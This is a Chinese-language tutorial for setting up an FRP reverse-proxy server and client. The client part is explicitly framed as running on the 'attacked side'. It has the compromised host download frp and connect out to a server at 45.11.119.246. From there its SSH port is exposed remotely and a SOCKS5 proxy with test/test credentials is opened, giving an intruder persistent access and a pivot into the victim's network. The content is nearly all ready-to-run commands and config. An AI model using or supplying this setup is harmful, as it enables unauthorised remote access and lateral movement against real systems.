Frp反向代理搭建及使用
Frp搭建及使用
1.1 下载
wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_386.tar.gz
tar -zxvf frp_0.44.0_linux_386.tar.gz
1.2 配置文件配置
[common]
bind_addr = 0.0.0.0 # 监听地址
bind_port = 7000 # 监听端口
vhost_http_port = 80
vhost_https_port = 443
dashboard_addr = 0.0.0.0 # web控制台地址
dashboard_port = 7500 # web控制台端口
dashboard_user = ************** # 控制台用户名
dashboard_pwd = ********** # 控制台密码
token = 1234567890 # 连接密码
allow_ports = 4000-65535 # 允许端口范围
#每个端口最大连接数量
max_ports_per_client = 100
#启用TCP流量复用,默认启用
tcp_mux = true
放入服务器不能携带中文
[common]
bind_addr = 0.0.0.0
bind_port = 7000
vhost_http_port = 80
vhost_https_port = 443
dashboard_addr = 0.0.0.0
dashboard_port = 7500
dashboard_user = **************
dashboard_pwd = **********
token = 1234567890
allow_ports = 4000-65535
#每个端口最大连接数量
max_ports_per_client = 100
#启用TCP流量复用,默认启用
tcp_mux = true
1.3 配置文件
mkdir /etc/frp/
cp frps.ini /etc/frp/
cp frps /usr/bin #配置frp快捷使用
1.4 注册系统服务
vim frps.service
[Unit]
Description=Frp Server Service
After=network.target
[Service]
Type=simple
Restart=on-failure
RestartSec=5s
ExecStart=/usr/bin/frps -c /etc/frp/frps.ini
LimitNOFILE=1048576
[Install]
WantedBy=multi-user.target
创建服务
cp frps.service /usr/lib/systemd/system # 创建服务
systemctl enable frps # 设置开机自启
systemctl start frps # 启动服务
systemctl status frps # 查看服务状态
1.5 防火墙设置
1.5.1 RedHat/CentOS
firewall-cmd --state
firewall-cmd --permanent --zone=public --add-port=80/tcp
firewall-cmd --permanent --zone=public --add-port=443/tcp
firewall-cmd --permanent --zone=public --add-port=7000/tcp
firewall-cmd --permanent --zone=public --add-port=7500/tcp
firewall-cmd --permanent --zone=public --add-port=10001-50000/tcp
firewall-cmd --permanent --zone=public --add-port=10001-50000/udp
firewall-cmd --reload
1.5.2 Debian/Ubuntu
ufw status
ufw allow 80/tcp
ufw allow 443/tcp
ufw allow 7000/tcp
ufw allow 7500/tcp
ufw allow 10001:50000/tcp
ufw allow 10001:50000/udp
1.5.3 其他
iptables -I INPUT -p tcp --dport 80 -j ACCEPT
iptables -I INPUT -p tcp --dport 443 -j ACCEPT
iptables -I INPUT -p tcp --dport 7000 -j ACCEPT
iptables -I INPUT -p tcp --dport 7500 -j ACCEPT
iptables -I INPUT -p tcp --dport 10001:50000 -j ACCEPT
iptables -I INPUT -p udp --dport 10001:50000 -j ACCEPT
2. 客户端配置
2.1. 在被攻击端下载执行程序并解压
wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_386.tar.gz
tar -zxvf frp_0.44.0_linux_386.tar.gz
2.2. 配置文件
[common]
server_addr = 45.11.119.246 # 服务端地址(就是我们配置的服务器地址)
server_port = 7000 # 服务端端口(就是我们配置的服务器端口)
token = 1234567890 # 连接的token,也叫密码(就是我们配置的服务器连接token)
[ssh_2] # 映射端口的备注
type = tcp # 协议类型
local_ip = 127.0.0.1 # 本地地址
local_port = 22 # 本地端口
remote_port = 53422 # 映射服务端端口
[test_sock5_2] # 设置socks5代理
type = tcp # 协议类型
remote_port =53283 # 远程端口
plugin = socks5 # 代理类型
use_encryption = true # 是否启用加密
plugin_user = test # 设置用户
plugin_passwd = test # 设置密码
客户端配置一样不能有中文
[common]
server_addr = 45.11.119.246
server_port = 7000
token = 1234567890
[ssh_2]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 53422
[test_sock5_2]
type = tcp
remote_port =53283
plugin = socks5
use_encryption = true
plugin_user = test
plugin_passwd = test
2.3. 执行映射
./frpc -c frpc.ini # frpc.ini为上面配置的文件